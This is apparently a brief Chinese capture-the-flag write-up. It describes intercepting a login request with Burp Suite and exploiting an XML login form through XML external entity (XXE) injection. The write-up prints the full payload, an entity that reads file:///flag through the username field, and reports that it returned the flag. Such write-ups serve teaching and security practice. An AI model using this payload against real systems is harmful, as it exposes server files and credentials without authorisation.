打开发现一个登录窗口，尝试常见的admin密码登录失败，直接BP抓包
发现username和password是xml格式
尝试XML外部实体注入
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>123456</password></user>
得到flag
XXE漏洞详情还可以看这篇文章
从XML相关一步一步到XXE漏洞